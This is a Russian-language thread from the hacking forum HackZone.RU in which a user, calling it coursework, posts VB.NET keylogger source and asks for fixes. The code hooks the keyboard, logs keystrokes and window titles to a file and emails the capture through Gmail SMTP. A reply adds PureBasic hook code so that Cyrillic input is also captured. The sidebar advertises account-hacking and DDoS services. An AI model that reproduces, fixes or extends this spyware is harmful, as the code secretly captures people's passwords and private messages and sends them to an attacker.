Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - мой первый кейлоггер или что то типа этого) Актуальные базы 2GIS в форматах CSV,Excel,SQL
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / Basic/VB/VB.NET RSS подписка на сообщения с форума Subscribe Модераторы: RenGO, B3JIoMep, BRUNOTTI, Virous


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 3262
мой первый кейлоггер или что то типа этого)
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
roven


Novice
# | Сообщение добавлено 19.10.2012 13:43:53
Отредактировано 19.10.2012 14:26:22 by roven
такая история.в универе тема курсовой - шпионская клавиатура)
вот мне и пришлось сделать кейлогер.
с ним такие проблемы - я его запускаю - проходит некоторое время и он перестает отображать куда я захожу и что печатаю.
и я написал на таймер2 отправку на почту ноона не работает почему то(
и кейлоггер видит только английский язык.как сделать чтобы видел и рус?
 
вот код.заранее спасибо)
Visual Basic
Imports System.IO
Imports Microsoft.Win32
Imports System.Net.Mail
 

Public Class Form1
    Dim WithEvents K As New keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Integer
    Dim strin As String = Nothing
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DiposeHook()
    End Sub
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.Text = TextBox1.Text + Now()
        IO.Directory.CreateDirectory("C:\Keylogger_Log")
        IO.File.AppendAllText("C:\Keylogger_Log\log.txt", "-------" + vbNewLine + "Keylogged strokes" + Now() + vbNewLine + "-------" + vbNewLine + vbNewLine)
        Timer1.Start()
        K.CreateHook()
    End Sub
    Private Sub K_Down(ByVal Key As String) Handles K.Down
        TextBox1.Text &= Key
        IO.File.AppendAllText("C:\Keylogger_Log\log.txt", Key)
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine
            IO.File.AppendAllText("c:\Keylogger_log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
            strin = GetActiveWindowTitle()
        End If
    End Sub
 
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        K.CreateHook()
        Timer1.Start()
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        K.DiposeHook()
        Timer1.Stop()
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        IO.File.AppendAllText("c:\Keylogger_Log\log.txt", TextBox1.Text)
    End Sub
 
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            Dim smtpServer As New SmtpClient()
            Dim mail As New mailmessage()
            smtpServer.Credentials = New Net.NetworkCredential("мыло", "пароль")
            smtpServer.Port = 587
            smtpServer.Host = "smtp.gmail.com"
            smtpServer.EnableSsl = True
            mail = New MailMessage()
            mail.From = New MailAddress("мыло")
            mail.To.Add("мыло")
            mail.Subject = "Keylogger"
            mail.Body = TextBox1.Text
            smtpServer.Send(mail)
        Catch ex As Exception
        End Try
    End Sub
End Class
 
 
Сказать спасибо Ответить Цитировать

Mineral




Scum of Society
# | Сообщение добавлено 02.01.2013 21:47:47
Отредактировано 02.01.2013 21:50:39 by BRUNOTTI

KОтвет, по делу, не считается оффтопом)

BRUNOTTI
Вопрос к модераторам: могу ли я ответить на его вопрос? Я знаю ответ, но не хочу бан за оффтоп.
 
Добавлено 02.01.2013 22:04:33 (через 14 минут 54 секунды )
 
Это хорошо.
Вот исходник на PureBasic.
 
Visual Basic
Procedure VKCodeToChr(wParam)
  Dim btKeyState.c(256)
  Define Symbol.c
  hklLayout = GetKeyboardLayout_(GetWindowThreadProcessId_(GetForegroundWindow_(), 0))
  GetKeyboardState_(@btKeyState())
  If ToAsciiEx_(wParam, MapVirtualKey_(wParam, 0), @btKeyState(), @Symbol, 0, hklLayout)
    ProcedureReturn Symbol
  EndIf
  ProcedureReturn #False
EndProcedure
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN ;Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      keyname.s=Chr(VKCodeToChr(*p\vkCode))
      AddElement(keys())
      keys()=keyname
    EndIf
  EndIf 
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, lParam)
EndProcedure

 

Добавлено 02.01.2013 22:14:57 (через 10 минут 24 секунды )
 
Писать на .Net можно ТОЛЬКО игры. Больше он ни для чего не подходит. Рулият fASM,Pure Basic, MVC++/Borland c++/dev c++.
 
Сказать спасибо Ответить Цитировать

HACK_ER




Platinum Member
# | Сообщение добавлено 02.01.2013 22:29:21
Писать на .Net можно ТОЛЬКО игры. Больше он ни для чего не подходит.
Что, что ты сказал?????????? :-)
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • Самозащита от вируса Petya
  • Google Pixel взломали за 60 секунд
  • В CMS Joomla обнаружена критическая 0-day уязвимость
  • ФБР не смогло взломать протокол шифрования переписки террористов ...
  • Полиция обыскала дом предполагаемого создателя платежной системы ...
  • Google: квантовый ПК будет в 100 млн раз быстрее стандартных чипо...
  • "Лаборатория Касперского" констатирует усиление атак кибергруппир...
  • Microsoft Edge откроет исходные коды ChakraCore
  • Anonymous объявили 11 декабря «днём троллинга» ИГИЛ
  • Миллионы телевизоров, смартфонов и маршрутизаторов оказались уязв...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Предложения работы » Неюзаные сканы в одни руки.
  • Mobile / Средства связи » Профессиональный софт для флуда мобильных/стационарных телеф
  • Разное / Законы » Взлом вконтакте, взлом инстаграм, взлом ок.ру, взлом вацап и
  • Разное / Предложения работы » Нужен способ заработка, майнинга
  • Разное / Куплю, приму в дар » Hack(Взлом) sapvice.hacknet@gmail.com - решение проблем по в
  • Разное / Ищу работу » Re: взлом почты на майле
  • Разное / Ищу работу » Re: Качественный подбор паролей к почтам. Работаем с 2011 го...
  • Разное / Ищу работу » Re: Взлом страниц: ВКонтакте, Одноклассники.
  • Разное / Ищу работу » Re: -=Мощный DDoS service/ДДоС сервис=-
  • Разное / Ищу работу » Re: Взлом почты mail.ru, yandex.ru, rambler, gmail

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 2007-2012. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    Ya-Cyt службы мониторинга серверов

    #{title}

    #{text}

    x

    #{title}

    #{text}